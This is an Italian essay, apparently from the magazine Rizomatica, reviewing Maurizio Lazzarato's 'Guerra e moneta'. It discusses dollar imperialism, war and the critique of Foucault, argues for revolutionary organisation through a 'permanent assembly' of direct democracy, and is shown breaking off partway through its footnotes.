Ciononostante, contrariamente a quanto verrebbe da pensare, è proprio durante periodi di tregua nei conflitti armati che i processi di centralizzazione economica assumono la loro massima forza. Proprio durante il neoliberalismo, con “la sua pretesa lotta ai monopoli e a ogni tipo di concentrazione del potere che impedisca l’esercizio della libera concorrenza e della libera iniziativa, il capitale operava una centralizzazione del potere economico e del potere politico da far impallidire quella della mondializzazione precedente.”
Per quanto attiene alla potenza egemone, “Nessuna concorrenza può sfidare il dispositivo del dollaro come moneta internazionale, pena lo scontro con il Pentagono. Qualsiasi sistema monetario/finanziario (che si ponga come) alternativo al dollaro, capace cioè di funzionare come mezzo di pagamento per gli scambi internazionali e da riserva per le banche centrali, è una dichiarazione di guerra contro gli Stati Uniti.” Quale segno tangibile dell’attuale progressiva decadenza degli USA come potenza egemone mondiale e, con essi, dell’intero Occidente, alcuni paesi del Sud del mondo hanno raccolto questa sfida al dollaro come moneta dominante con la costituzione dei BRICS (oggi divenuti BRICS+), il cui intento è proprio quello di sottrarsi al dominio assoluto del dollaro come valuta di pagamento internazionale e di riserva finanziaria.
Mentre il neo e l’ordoliberalismo problematizzano il rapporto tra guerra e economia secondo la concezione di quest’ultima come un’alternativa alla guerra, in realtà, soprattutto a partire dal XX secolo, “ogni punto di svolta, ogni ristrutturazione della produzione economica e ogni cambiamento del potere politico sul mercato mondiale è stato determinato non da nuove razionalità, oppure da «rivoluzioni» tecnologiche o produttive (come sostenuto da Joseph Schumpeter nel suo “Il capitalismo può sopravvivere? La distruzione creatrice e il futuro dell’economia globale”), bensì dalla guerra; e ancora, non dalle crisi, come ai tempi di Marx, ma proprio dalle guerre, come accade dai tempi di Lenin. … Con l’imperialismo, le grandi svolte produttive e politiche sono determinate dalle guerre (Lenin) e non dalle crisi (Marx)”.
Lazzarato focalizza la sua critica al pensiero di Foucault, capostipite di una lunga sequela di autori che – sulla base del suo insegnamento – caratterizzerà il pensiero critico in Occidente sino ad oggi, sul passaggio che esso avrebbe compiuto da Marx a Weber. Egli scrive: “Proprio in “Nascita della biopolitica” Foucault, … non soltanto conferma l’abbandono della guerra come metodo di analisi del reale, ma anche della lotta di classe. … Il passaggio chiaramente enunciato è da Marx a Weber. Il primo utilizza quella che Foucault definisce «la logica contradditoria del capitale», mentre per il secondo il problema non è più la contraddizione ma la «razionalità irrazionale della società capitalista». … Il passaggio dalla contraddizione alla razionalità è il passaggio dal conflitto alla sua neutralizzazione.”
Sulla solo apparente contrapposizione tra neoliberalismo e imperialismo, sulla loro effettiva complementarità e coesistenza, Lazzarato insiste molto: “Le situazioni di pace e di guerra non si limitano a sostituirsi ma coesistono. La governamentalità «non comincia dove cessa il rumore delle armi», il mercato «non comincia quando finisce la guerra». Sotto la pace, dunque, la guerra (quella tra classi così come quella tra Stati) continua la sua opera; l’economia, la legge e il diritto sono, cioè, il proseguimento della guerra con altri mezzi (sul calco e rovesciamento del noto adagio di von Clausewitz «La guerra è la continuazione della politica con altri mezzi»). Nell’imperialismo del dollaro, sotto il mercato, sotto la governamentalità, sotto la concorrenza, «la guerra continua a infuriare».” Di questo siamo stati resi brutalmente consapevoli, bruscamente risvegliati dall’ubriacatura neoliberalista, dal tornare a divampare della guerra nella sua realtà e, ancor più, nella sua retorica: la guerra in Ucraina e i possenti venti bellicisti e guerrafondai che da essa hanno tratto slancio, ha tutte le prerogative per trasformarsi in una nuova guerra mondiale.
La critica di Lazzarato a Marx si estende alla sua teoria della moneta: egli ritiene che detta teoria sia ambigua: se da un lato supera la concezione propria dell’economia classica secondo cui la moneta è «neutrale», mostrando come, al contrario, essa sia determinante in quanto condizione indispensabile per accedere alle merci sia da parte del consumatore (operaio) che da parte del capitalista (imprenditore) e come fattore che interviene pesantemente nelle transizioni, nella ripartizione dei redditi, nelle differenze di classe, ecc., dall’altra, anche per Marx, “come per l’economia classica, il denaro nasce dallo scambio, ha un’origine mercantile, tutta economica”. In base a ciò, il rapporto della moneta “con il potere politico e lo Stato è un rapporto di utilizzo, strumentale, non è un rapporto strategico, perché (secondo Marx) la genealogia della moneta è spiegabile tramite l’economia. L’ambiguità marxiana (sulla moneta) implica che il denaro del mercato mondiale escluda «sia la moneta simbolica, …, sia il credito».”
La critica che l’autore rivolge alla teoria della moneta di Marx è che essa accredita un funzionamento autonomo della moneta negli scambi, una concezione del denaro come «automa», “che si esprime compiutamente in ciò che Marx chiama «movimento autonomo del valore», capace di rovesciare l’attività umana in un impersonale movimento delle cose (o anche «processo senza soggetto», come verrà detto più tardi). Vorrei mostrare che anche in questo caso, ciò che invece è fondamentale è la strategia politica e militare, quindi, il fatto che la lotta di classe precede non solo la produzione ma anche la moneta. La gestione monetaria e finanziaria (nell’imperialismo) può e di fatto si emancipa dall’oggettività prodotta dal funzionamento autonomo degli scambi. Ciò di cui non può liberarsi sono le lotte di classe11.”
A chiosa e chiarimento del paragrafo dedicato alla teoria della moneta in Marx, Lazzarato afferma: “La mia tesi non vuole sostenere che l’automatismo del valore monetario e finanziario non esista, ma al contrario che esso può essere costruito e funzionare solo dopo lo stabilirsi di strategie, dopo che scelte riguardanti la potenza politica, economica e militare abbiano stabilito chi sono i vincitori che comandano e chi sono i vinti che obbediscono. Innanzitutto, i rapporti di forza stabiliscono chi trae vantaggio dall’automatismo e chi l’automatismo «espropria». È ciò che l’imperialismo del dollaro documenta a chi voglia vedere.” L’assoluta strafottenza di Tramp (a capo del paese con l’esercito più potente del pianeta) nei confronti del resto del mondo, a iniziare dai supposti alleati – in realtà sudditi – degli U.S.A., è la più evidente conferma della veridicità di questo assunto.
“La faccia del capitalismo finanziario di cui il neoliberalismo non deve parlare, ubriacandoci invece di mercato, concorrenza, di domanda e offerta, ci rinvia alla strategia e ai rapporti di forza, in cui è sempre più difficile stabilire delle separazioni nette tra politico, economico e militare.”
Ciò che ritengo più rilevante nel recente lavoro di Lazzarato è la sua capacità di guardare alla realtà senza infingimenti, denunciando lo sbandamento teorico a cui è andato incontro il pensiero critico occidentale in seguito all’abbandono di concetti invece imprescindibili per comprendere la reale natura del sistema capitalistico ed elaborare, di conseguenza, una strategia all’altezza delle necessità: i concetti di imperialismo, di guerra (come distruzione) e, per converso, di rivoluzione. L’assoluta preminenza della dimensione strategica propria dell’imperialismo che, a partire dalla Prima Guerra mondiale, caratterizza il sistema capitalistico, ha il suo drammatico contraltare nell’assoluta mancanza di questa dimensione, quella strategica appunto, nelle lotte di classe e nei movimenti antagonisti. In fondo, si tratta della stessa critica che gli accelerazionisti muovono ai movimenti post sessantotto, definendo la loro politica come “folk politics”12.
La biopolitica di Foucault, la microfisica dei poteri, la teoria della governamentalità, non sono errate ma hanno una vigenza limitata e subordinata rispetto alla politica di potenza e alle sue linee strategiche. L’errore sta nel considerare il neoliberalismo e i suoi processi di funzionamento come fattori primari e autonomi nella determinazione dei processi storici al posto dell’imperialismo e delle proprie specifiche dinamiche fondate sul binomio Stato-capitale, come avevano intuito Lenin e Luxemburg avendole potute osservare in atto, a differenza di Marx, a partire dalla Prima Guerra mondiale.
Rivoluzione
È quindi necessario recuperare una prospettiva e un punto di vista di classe se si intende porsi effettivamente sullo stesso piano su cui il capitalismo esercita la sua presa sul mondo, quello della strategia e della politica di potenza. Punto di vista significa soggettività. “La (volontà di) potenza del capitalismo è soggettività, processi di soggettivazione collettiva (famiglia, scuola, religione, mass-media), come è soggettività, processi collettivi di soggettivazione, la (volontà di) potenza che contrasta il potere fatta di operai, donne, razzializzati. Non si tratta di processi senza soggetto né tantomeno di tecniche di governamentalità ma di politiche e strategie da una parte e dall’altra della relazione.”
Ogni processo rivoluzionario ha bisogno di un soggetto emergente, di una nuova soggettività che, a partire dal proprio specifico “punto di vista”, quello degli oppressi, degli sfruttati, dei sottomessi, prende coscienza di questa condizione e organizza e attua la lotta necessaria per trasformarla. “La vera immanenza è solo questa, un punto di vista partigiano che riorganizza la visione del «tutto» partendo dalla sua oppressione per meglio attaccarlo. La «verità» del «tutto» non risiede nell’oggettività (una supposta neutralità) dell’analisi, ma può darsi solo a partire dal dispiegarsi della lotta, dalla volontà di prevalere sul nemico. … Partire dall’oppressione significa partire dal conflitto, porre il conflitto prima della produzione, le lotte di classe prima dei rapporti di produzione, la lotta prima delle forze produttive.”
Ciò che emerge in modo netto dall’analisi di Lazzarato è che condizione preliminare di ogni trasformazione rivoluzionaria è l’assunzione della consapevolezza che il capitalismo, attraverso l’imperialismo e il suo braccio politico, cioè il fascismo, impone la propria volontà senza remore o limiti e lo fa attraverso lo sfruttamento, l’oppressione sociale e, quando necessario, per mezzo della guerra o del genocidio. Ogni visione conciliatoria, che non si fondi sulla consapevolezza della natura insanabile del conflitto di classe e sulla presa d’atto del carattere implacabile dell’azione del potere, è incapace di fondare una reale prospettiva rivoluzionaria: “L’imperialismo, quando la macchina politico-economica di cattura (la governamentalità) non funziona secondo le sue aspettative, quando la totalizzazione diffusa e dispersa della governamentalità fallisce, non esita a scatenare, oggi come ieri, guerre di ogni genere e a rimettere in gioco nuovi e vecchi fascismi.”
È davvero rilevante e per noi preziosa, la drastica valutazione che Lazzarato fa della condizione dei movimenti in questa specifica fase della storia, nella quale, ancora una volta, la pura forza delle armi si mostra come elemento determinante le relazioni politiche ed economiche. Egli scrive: “I movimenti, più che essere consapevoli della discontinuità della nuova fase politica, sembrano esserci scaraventati dentro. Sembrano in generale voler continuare la politica della fase precedente, mentre gli spazi politici si chiudono, la governamentalità è sostituita dalle politiche dei nuovi fascismi che accompagnano nuove centralizzazioni del potere politico, economico e militare. La situazione li spinge comunque a praticare delle rotture radicali, delle vere e proprie rivolte e insurrezioni dentro le quali sono costretti a interrogarsi sul «che fare» con il potere costituito. … Comunque sia, la tradizione rivoluzionaria aveva colto una serie di continuità e discontinuità nel funzionamento del potere e del conflitto che i movimenti politici e il pensiero critico sembrano aver abbandonato.”
Come noto, l’opera di Foucault, in particolare dagli anni ’70 in poi, pone al centro la questione della microfisica dei poteri, dei rapporti gerarchici e delle così dette “istituzioni totali” (di nuovo, famiglia, chiesa, scuola, caserma, ospedale, manicomio) tipiche delle società disciplinari, si concentra, cioè, sulle così dette tecnologie del sé: la biopolitica. Questa sorta di lente di ingrandimento con la quale Foucault ha osservato le dinamiche sociali interpersonali e i loro rapporti con lo Stato, lo ha spinto a rimuovere o, comunque, a sottovalutare i processi macroscopici delle politiche di potenza che ciclicamente attraversano e trasformano il mondo, i nessi dominanti l’indissolubile rapporto tra potere ed economia che lo stesso Marx, per ragioni storiche, a differenza di Lenin e Luxemburg, ha ignorato.
Lazzarato attribuisce a Foucault la separazione, la rottura del nesso che relaziona la soggettività, individuale e collettiva, con l’oggettività del mondo, tra emancipazione e rivoluzione. Egli avrebbe rotto questo nesso che la tradizione rivoluzionaria aveva sempre ritenuto necessario, in tal modo compromettendo l’indispensabile biunivocità tra i processi soggettivi collettivi e le trasformazioni oggettive della realtà storica. Si è, cioè, concentrato sulle questioni afferenti alla libertà soggettiva, trascurando quelle riguardanti la liberazione collettiva (la governamentalità a scapito dell’imperialismo e, per converso, l’emancipazione a scapito della rivoluzione).
Il giudizio piuttosto severo, ma che non possiamo permetterci di ignorare, specialmente alla luce della misera condizione in cui versano le lotte e i movimenti oggi e della drammaticità dell’attuale frangente storico, di Lazzarato sull’opera di Foucault (ovviamente, si tratta di un giudizio ex-post, che beneficia del senno del poi), non tralascia di riconoscere i giusti meriti al filosofo francese. Egli scrive: “Foucault rompe con la continuità storica di emancipazione e rivoluzione per delle buone ragioni: la rivoluzione sembra, ogni volta, tradire l’emancipazione, sia nelle forme di organizzazione (gerarchiche, antidemocratiche, più o meno verticistiche) che negli obbiettivi (instaurazione di un nuovo “sistema di potere” anziché di una condizione di “rivoluzione permanente” egalitaria, un processo costituente che non si chiude, che non si compie nel passaggio, sempre invece verificatosi nelle rivoluzioni passate, da un potere costituente che si fa potere costituito13).
“Il movimento del ’68, nell’interpretazione di Maurice Blanchot, avrebbe operato nello stesso modo, funzionando così da matrice per i movimenti di emancipazione successivi: ha praticato una rottura senza darsi «mezzi politici per l’avvenire, senza poteri istituzionali». La separazione di emancipazione e rivoluzione che si potrebbe interpretare come «debolezza» sarebbe stata invece (secondo Blanchot) la sua «forza». Blanchot conclude apprendo a tutte le teorie destituenti contemporanee: il movimento non ha fallito ma si è «sovranamente realizzato». La rivoluzione sarebbe «dietro di noi». Deleuze a modo suo va nella stessa direzione: se le rivoluzioni finiscono sempre male il divenire rivoluzionario non ha bisogno della rivoluzione perché non finisce mai, è in continuo divenire. Una buona parte dei movimenti che si sono sviluppati dopo il ‘68 ha coscientemente o incoscientemente assunto la separazione tra emancipazione e rivoluzione come soluzione all’impasse e ai fallimenti della rivoluzione mondiale. Sicuramente non era possibile né desiderabile una ripetizione delle rivoluzioni socialiste ma una nuova rivoluzione era necessaria perché quello che non ci siamo lasciati alle spalle è la controrivoluzione capitalista che ha imposto, nell’ordine e nella restaurazione, nuovo fascismo, guerre civili, guerra. La sola cosa solidamente destituita è stata la forza e la tradizione del movimento rivoluzionario, senza sostituirgli niente di altrettanto efficace e radicale. Per cui i rapporti di potere tra le classi sono regrediti all’epoca pre-rivoluzione sovietica.”
Esplicitata e chiarita ulteriormente questa denuncia dello sbandamento teorico che ci avrebbe condotto alla debolezza e alle miserie attuali, Lazzarato torna per l’appunto al nostro presente e non gira intorno alla questione, non mancando di inserire una nota personale; egli è perentorio: “Ora, la crisi del 2008 ha aperto una nuova fase politica. Se nei movimenti del ‘68 la necessità di una nuova rivoluzione poteva anche non imporsi, oggi non sembra esserci altra via di uscita. Nella fase politica attuale dove la guerra o, meglio, le guerre diventano l’asse politico centrale, questa eredità sessantottina è pregiudiziale allo sviluppo delle lotte di classe. I compagni italiani mi prendono in giro perché parlo di rivoluzione ma la guerra non ha radicalizzato solo lo scontro tra imperialismi ma anche tra le classi. Le lotte più radicali, le insurrezioni e le rivolte si svolgono lontane dai loro occhi e quindi le vedono difficilmente.”
La parte conclusiva di Guerra e moneta è dedicata alla delineazione di una sorta di “teoria della rivoluzione”, dove molti elementi e fattori si integrano in un processo multiplo: fattori sociali, economici, politici contribuiscono a produrre una rottura rivoluzionaria. Vale la pena leggere ancora le sue parole: “La lotta tra le classi taglia il divenire infinito dei rapporti di potere (quel divenire rivoluzionario del soggetto che per Foucault sarebbe sufficiente e renderebbe inutile la rivoluzione), lo blocca, lo fa biforcare, facendolo sfociare nelle rivolte, nelle guerre, nelle rivoluzioni o in momenti di scontro che riconfigurano i rapporti di forza, disegnando una congiuntura che modifica, ogni volta, la posizione delle forze in gioco.
Non si dispone dei tempi dello scontro a proprio piacere, non si può decidere l’ora è il momento di una lotta, di un’insurrezione o di una rivolta: accadono, succedono, si producono. E quando accadono, succedono, si producono bisogna farsi trovare pronti, capaci di agire diverse temporalità. Il tempo esce dai suoi cardini, per cui lo scontro è sottomesso ad accelerazioni, a concentrazioni, all’emergere nel presente di possibili rivoluzionari non realizzati nel passato, a intensità «extra-ordinarie» che determinano dei cambiamenti repentini di congiuntura: non più il futuro della rivoluzione socialista ma il presente del farsi del soggetto rivoluzionario, il presente della lotta che dispiega la negazione affermando il salto dalle emancipazioni alla rivoluzione che apre il pluralismo delle rivoluzioni. …
Nel farsi della lotta, nel dispiegarsi dell’attacco portato contro il nemico e nel costituirsi contemporaneo del soggetto e della sua organizzazione, emerge la «coscienza» non come consapevolezza, comprensione astratta dei rapporti di potere, ma come necessità politica di elaborare una tattica e una strategia per rompere il blocco della forza nemica, per rimuovere l’ostacolo al dispiegarsi della costruzione del soggetto. La necessità del momento riflessivo (un rapporto a sé differente dal rapporto a sé dell’emancipazione) emerge in questo momento preciso e il suo risultato è un doppio sapere: un sapere strategico per battere il nemico, un sapere strategico per la costruzione del soggetto» che non sacrifichi l’emancipazione alla rivoluzione. Saperi nuovi, imprevedibili, non programmabili, che nascono dallo scontro, nello scontro.”
Emerge qui molto chiaramente nella tesi dell’autore come il momento rivoluzionario sia imprevedibile, non programmabile, imponderabile a priori e, nel contempo, la necessità di “farsi trovare pronti”, di liberarsi dalla temporalità imposta per forgiarne una propria del soggetto collettivo liberato, attuando una strategia che non sacrifichi l’emancipazione alla rivoluzione, cosa che ne comprometterebbe il senso, come è sempre avvenuto nelle rivoluzioni passate, che salvaguardi il soggetto che se invece schiacciato e compresso porterebbe a vanificare il reale valore e significato della rivoluzione stessa, condannandola al fallimento. Ci troviamo qui nel contempo nella condizione di non poter prevedere né tantomeno programmare i saperi necessari allo sviluppo del processo rivoluzionario e nella necessità di “farsi trovare pronti”. Sulla specifica necessità di farsi trovare pronti, tornerò in conclusione.
La «libertà» del soggetto (emancipazione) può dispiegarsi pienamente, completarsi e avere il proprio senso, solo se agita in parallelo alla «liberazione» della società dal giogo del potere (rivoluzione): non basta il lavoro sul sé, sul soggetto, serve anche il conflitto di classe e serve vincerlo. “L’emancipazione non basta a sé stessa! Le emancipazioni sono conflittuali ma non incompatibili con il capitalismo. … Insomma, ci sono molte emancipazioni ma una sola rivoluzione: Per poter fare delle emancipazioni altrettante rivoluzioni, è necessario passare per la rivoluzione.”
Tutti i movimenti, tutte le lotte devono convergere in un solo movimento, in una sola lotta se davvero intendono vincere, distruggere il potere del capitale e far nascere una nuova condizione, quella del (essere in) Comune, in cui “sociale” e “politico” vengono a coincidere.
“Per fare il molteplice bisogna passare per il dualismo del potere”: serve abbattere il potere senza prenderlo, senza sostituirvisi. Per attuare la rivoluzione quale processo permanente, senza conclusione, senza compimento, serve affrontare una serie di impossibilità: quella di “totalizzare e sintetizzare le lotte e le emancipazioni e quella di restare nella dispersione e nella sola differenza, impossibilità di non rivoltarsi sfidando il potere e impossibilità di prendere il potere, impossibilità di organizzare il passaggio dalla molteplicità al dualismo e impossibilità di restare nella sola molteplicità, impossibilità della coordinazione e centralizzazione e impossibilità di affrontare il nemico senza coordinazione e centralizzazione. Cozzare contro queste impossibilità è la condizione per creare il possibile della rivoluzione. La rivoluzione è l’impossibile che diventa possibile. …”
“La posta in gioco che si manifesta non sono più le emancipazioni. … La sfida nella rivoluzione si pone a un altro livello: negare il potere nemico e nello stesso tempo negare le classi delle donne, dei lavoratori, dei colonizzati create dalla macchina Stato-capitale attraverso le guerre di assoggettamento. Le classi devono essere soppresse se si vuole uscire dalla conflittualità (tra le diverse lotte, tra i diversi movimenti) e integrazione (dei movimenti nella macchina Stato-capitale) che le emancipazioni comunque implicano.”
Pensiero strategico collettivo
Sui limiti dei movimenti post ’68, Lazzarato scrive: “Nessuno ha elaborato una teoria della crisi (anche se sta nascendo una “critica del pensiero critico”), si è dotato di una concezione della funzione della guerra nello sviluppo e ristrutturazione del capitale e dello Stato.”
“I movimenti si sono assuefatti a un conflitto senza rivoluzione (cioè, fine a sé stesso, privo di sbocchi!). … Foucault dice che il «rapporto a sé» è la forma di opposizione principale al potere. Non c’è dunque più bisogno di una teoria del capitale e dello Stato, della rivoluzione o della guerra: è sufficiente un sapere delle forme di vita, del prendersi cura del rapporto a sé; invece, questi cambiamenti dell’accumulazione, delle classi, degli Stati, del loro rapporto, contano eccome: agiscono sulle forme di vita, riconfigurando, allargando o restringendo lo spazio politico delle emancipazioni e dei processi di soggettivazione.”
“Lasciamo la parola ancora a Foucault che, per l’ultima volta, utilizziamo come sintomo della difficoltà del pensiero critico confrontato con la congiuntura contemporanea della guerra. La stessa attitudine contraddittoria e ambigua che Foucault ha avuto rispetto alla guerra la possiamo ritrovare anche nel suo rapporto con la rivoluzione. Anche qui si tratta di punti di vista molto diffusi nel pensiero critico: la rivoluzione, come la guerra, fa parte del passato. Se Foucault finirà con cercare nella rivoluzione iraniana un modello alternativo non solo alla tradizione rivoluzionaria ma anche alla politica europea, non ha sempre pensato in questo modo. «Se la politica esiste dopo il XIX secolo e perché c’è stata la rivoluzione. Questa non è una specie, una regione di quella. La politica si situa sempre in rapporto alla rivoluzione». Affermazione rimossa, quando invece sarebbe stata molto utile per capire che l’imperialismo le tecniche ancillari della governamentalità si rapportano sempre e comunque alla rivoluzione che hanno sconfitto negli anni ‘70 e di cui sempre temono il ritorno. Possiamo invece condividere pienamente il seguito del testo: «Il ritorno della rivoluzione è il nostro problema (la nostra necessità), il ritorno della politica non può manifestarsi che con il ritorno della rivoluzione».”
“Senza rivoluzione non c’è politica: c’è amministrazione, c’è governance (dell’imperialismo), c’è capitalismo e guerra. Il nostro problema: per ritrovare la politica bisogna reinventare la rivoluzione, altrimenti il capitalismo e la sua governance evolveranno inesorabilmente, come stanno facendo, verso nuove forme di fascismo e di guerra da cui, senza rivoluzione, saremo schiacciati. È rispetto a questa tragica situazione che si tratta di elaborare un concetto di guerra, sapendo però che la guerra, prima di essere uno scontro armato, è una strategia politica che può diventare confronto violento tra forze ma non necessariamente.”
Con queste parole si conclude “Guerra e moneta” di Maurizio Lazzarato, un’opera, così come gli altri suoi recenti lavori, utile a ricollocarci rispetto al presente di guerra e fascismo dilagante in cui, nelle attuali condizioni, stiamo sprofondando senza possibilità non solo di una salvezza ma persino di impegnarci in una lotta all’altezza delle reali necessità. Ecco la ragione del sottotitolo di questo articolo: per agire sul reale è innanzitutto necessario comprenderlo, attraverso un’analisi lucida, senza infingimenti, senza edulcorazioni ma che sia in grado non solo di vedere il presente in tutta la sua brutalità e orrore ma anche di leggerlo quale manifestazione di un sistema strutturato, basato sul binomio Stato-capitale e che possiamo definire, con Lazzarato, ma anche con Lenin, Luxemburg e tutta la tradizione rivoluzionaria, imperialismo.
In più occasioni, nel corso di conferenze tenute da Lazzarato in vari luoghi del mondo, egli ha dichiarato di non avere ricette specifiche sulla leniniana questione del “che fare?”, cioè dell’imprescindibile problema dell’organizzazione, sia rivoluzionaria che pre e post-rivoluzionaria. Riprendiamo qui il tema del “farsi trovare pronti” cui abbiamo accennato in precedenza: al di là dell’imponderabilità dei processi di rottura a venire, delle rivolte, delle sommosse, dei conflitti di ogni genere che li sostanzieranno, la questione dell’organizzazione rimane in ogni caso imprescindibile, una sorta di convitato di pietra14.
Se il potere è da abbattere ma non da prendere, se si raccoglie quindi l’esigenza di un suo definitivo superamento nella direzione di una società finalmente senza classi, se si vuole la rivoluzione senza sacrificare a essa l’emancipazione, si comprende in pieno la necessità di dare vita a un’inedita forma di democrazia effettiva, radicale, inevitabilmente “diretta” e quindi la rilevanza della proposta di quella che, nei miei precedenti articoli su questa rivista, ho chiamato Assemblea permanente. Si tratta di un metodo i cui principi sono la propositività aperta a tutti i membri e il loro pari peso decisionale: una forma organizzativa in grado di dare espressione a forme di intelligenza collettiva e libero sviluppo e valorizzazione al general intellect.
Come ho già scritto in precedenti articoli su Rizomatica, non vedo alternative rispetto a questo nuovo “modus operandi” che di fatto rifonda lo stesso concetto di “Politica” in una forma del tutto inedita rispetto al passato. Si tratta di un vero e proprio salto paradigmatico che implica la trasformazione della soggettività nella direzione di una sua crescita e di un suo arricchimento. È l’assunzione individuale della responsabilità collettiva, è la fine del dualismo del potere e del binomio sociale/politico: queste due dimensioni sono portate a coincidere grazie al venir meno della delega della propria sovranità a rappresentanti politici di mestiere. È l’autonomia del sociale che prende il posto della pretesa autonomia del politico.
Si tratta di un processo tendenziale, senza compimento, un sistema dove l’architettura dell’infrastruttura informatica si emancipa dal dominio Stato-capitale per essere appropriata dalla moltitudine umana, con l’onere, per quest’ultima, di farsi garante di tutte le altre forme di vita che ancora popolano questo pianeta. È lo Stack descritto da Benjamin H. Bratton15 che si fa quel Red-Stack su cui ha acceso un flash Tiziana Terranova con il suo Red Stack attack!16.
La prospettiva di ritrovare, oggi, la capacità di elaborare un progetto strategico di abbattimento del capitalismo e di edificazione del Comune, con tutte le sue necessarie articolazioni tattiche, è direttamente connessa con la possibilità di dare voce alla moltitudine, di darle al contempo capacità di proposta (intelligenza collettiva a partire dal e a confluire nel general intellect) e di decisione (democrazia diretta). In questo senso, quello della progettazione, adozione, ed elaborazione senza termine di quella che ho chiamato, un nome come un altro, Assemblea permanente, sembrano emergere alcuni segnali positivi: i più recenti movimenti ecologisti, a trazione giovanile, da Extintion Rebellion a Friday for future, da Last Generation a Generation X, sembrano prendere sul serio la questione di come devono funzionare le loro organizzazioni, di come si avanzano le proposte e di come si decide su di esse. Sono questioni dirimenti, le regole da stabilire prima di iniziare il gioco, le premesse formali di ogni elaborazione sostanziale.
I venti di guerra che in questo momento spirano sempre più forti sull’Europa e sul mondo ci fanno comprendere quale sia la posta in gioco rispetto alla possibilità di dar vita a nuove e inedite forme di lotta e di azione in cui ad agire non sia più una sparuta avanguardia ma l’intera classe sociale degli oppressi, degli sfruttati, dei diseredati, di tutti coloro che, quando va bene, per sopravvivere devono accettare il ricatto del lavoro salariato, lavoro che oggi non ha più neppure il riconoscimento della dignità. C’è infatti bisogno di tutta l’intelligenza disponibile nella società per cercare di navigare questo mare periglioso verso un futuro desiderabile. Passare da un sistema politico basato sulla rappresentanza, tanto nell’ambito istituzionale che nel contesto dei movimenti, a un modello fondato sull’auto-rappresentanza costituisce un vero e proprio salto paradigmatico della “Politica” intesa come l’imprescindibile attività umana volta a regolare i rapporti sociali.
Rispetto alla prospettiva di una nuova guerra mondiale nella quale gli Stati Uniti tenteranno di difendere con le armi la propria leadership mondiale, il proprio dominio più o meno incontrastato sul mondo, sarebbe importante tentare di agire fin da subito, con il metodo dell’Assemblea permanente, nella direzione di una lotta di liberazione mondiale dal giogo delle macchine Stato-capitale, per rovesciare l’attuale spinta verso una guerra mondiale in una rivoluzione mondiale permanente in cui i molti popoli si riconoscano finalmente in una sola moltitudine, nell’intera umanità, parte anch’essa di un ecosistema planetario che ne è condizione stessa di esistenza.
Purtroppo, l’attuale “stato dell’arte” della democrazia diretta a livello mondiale ci mostra l’enorme ritardo nello sviluppo di questo nuovo paradigma politico. È probabile che l’accelerazione bellicista in atto ci ponga presto difronte al deflagrare di una guerra su vasta scala: in una simile circostanza è evidente che la sola opzione percorribile sia quella della diserzione e della resistenza antifascista, antimilitarista; ma resistere e sottrarsi non è sufficiente per costruire un nuovo futuro. Ecco perché, come opportunamente suggerisce Maurizio Lazzarato17, è importante “farsi trovare pronti”, disporre cioè di una nuova prospettiva aperta verso il futuro dell’umanità e dell’intero pianeta che la ospita.
Note
N.B.: Nel presente articolo, le numerose citazioni dal libro di Maurizio Lazzarato Guerra e moneta. Imperialismo del dollaro, neoliberalismo, rotture rivoluzionarie sono riportate tra virgolette e in corsivo. I miei inserti nelle citazioni tratte dal libro sono riportati tra parentesi.
1 – F. Braudel Storia e scienze sociali. La lunga durata. In Scritti sulla storia, Bompiani, 2001.
2 – I principali autori ad aver analizzato questo fondamentale passaggio trasformativo del capitalismo sono Bernard Paulré, Yann Moulier Boutang, Carlo Vercellone, Antonella Corsani, Andrea Fumagalli, a partire dalle attività del Laboratorio MATISSE-ISYS in seno alla Université Paris 1 Panthéon-Sorbonne.
3 – Cfr. Christian Marazzi Capitale & linguaggio. Dalla new economy all’economia di guerra, DeriveApprodi, 2002.
4 – Cfr. Bernard Stiegler La società automatica. L’avvenire del lavoro – Ed. Melteni – 2019. Per un significato più circostanziato del termine proletarizzazione in Stiegler, vedasi Fuori del Capitalocene. Dall’uomo indebitato all’uomo frugale pubblicato sul n° 6 di Rizomatica.
5 – Questo scritto è la trascrizione della Conferenza tenuta da Keynes a Madrid nel giugno del 1930. Trattasi di un testo certamente peculiare, con numerose affinità con l’ormai celebre “Frammento sulle macchine” di Karl Marx (Per un approfondimento su questo testo marxiano, vedasi il mio Se le macchine di Marx siamo noi.) Anche questo è un testo breve, intenso, insieme visionario e predittivo, proiettato in una realtà futura, che corrisponde al nostro presente, all’attualità. Vi si distinguono due parti, la prima nella quale l’autore mostra di essere figlio del suo tempo e della sua patria e dove emerge il suo economicismo privatistico e colonialistico, tipico del pensiero britannico dell’epoca e dell’approccio anglosassone ai temi della produzione e della ricchezza. Poi, però, nell’atto di proiettarsi nel futuro, nell’evidenziare le enormi potenzialità di emancipazione dell’umanità rese possibili dal progresso scientifico e dalle trasformazioni tecnologiche (su questo scrive: “Dal secolo XVI è incominciata, proseguendo con crescendo ininterrotto nel XVIII secolo, la grande era delle invenzioni scientifiche e tecniche che, dall’inizio del secolo XIX, ha avuto sviluppi incredibili: carbone, vapore, elettricità, petrolio, acciaio, gomma, cotone, industrie chimiche, macchine automatiche e sistemi di produzione di massa, telegrafo, stampa, Newton, Darwin, Einstein e migliaia di altre cose e uomini troppo famosi e troppo noti per essere ricordati” – si trova qui un richiamo, forse involontario, al concetto di “general intellect” introdotto da Marx proprio nel Frammento), il tenore del testo cambia profondamente: “Per il momento, la rapidità stessa di questa evoluzione ci mette a disagio e ci propone problemi di difficile soluzione. … siamo colpiti da una nuova malattia di cui alcuni lettori possono non conoscere ancora il nome, ma di cui sentiranno molto parlare nei prossimi anni: vale a dire la disoccupazione tecnologica. Il che significa che la disoccupazione dovuta alla scoperta di strumenti economizzatori di manodopera procede con ritmo più rapido di quello con cui riusciamo a trovare nuovi impieghi per la stessa manodopera.” Nel presentare il tema, ancor oggi di piena attualità, della “disoccupazione tecnologica”, Keynes propone anche il suo rimedio: “Per ancora molte generazioni l’istinto del vecchio Adamo rimarrà così forte in noi che avremo bisogno di un qualche lavoro per essere soddisfatti … dovremo adoperarci a far parti accurate di questo “pane” affinché il poco lavoro che ancora rimane sia distribuito fra quanta più gente possibile. Turni di tre ore e settimana lavorativa di quindici ore possono tenere a bada il problema per un buon periodo di tempo. Tre ore di lavoro al giorno, infatti, sono più che sufficienti per soddisfare il vecchio Adamo che è in ciascuno di noi.” Va detto che Keynes condiziona in modo ben preciso l’avverarsi di questa prospettiva di abbondanza; egli scrive: ”Il ritmo con cui possiamo raggiungere la nostra destinazione di beatitudine economica, dipenderà da quattro fattori: la nostra capacità di controllo demografico, la nostra determinazione nell’evitare guerre e conflitti civili, la nostra volontà di affidare alla scienza la direzione delle 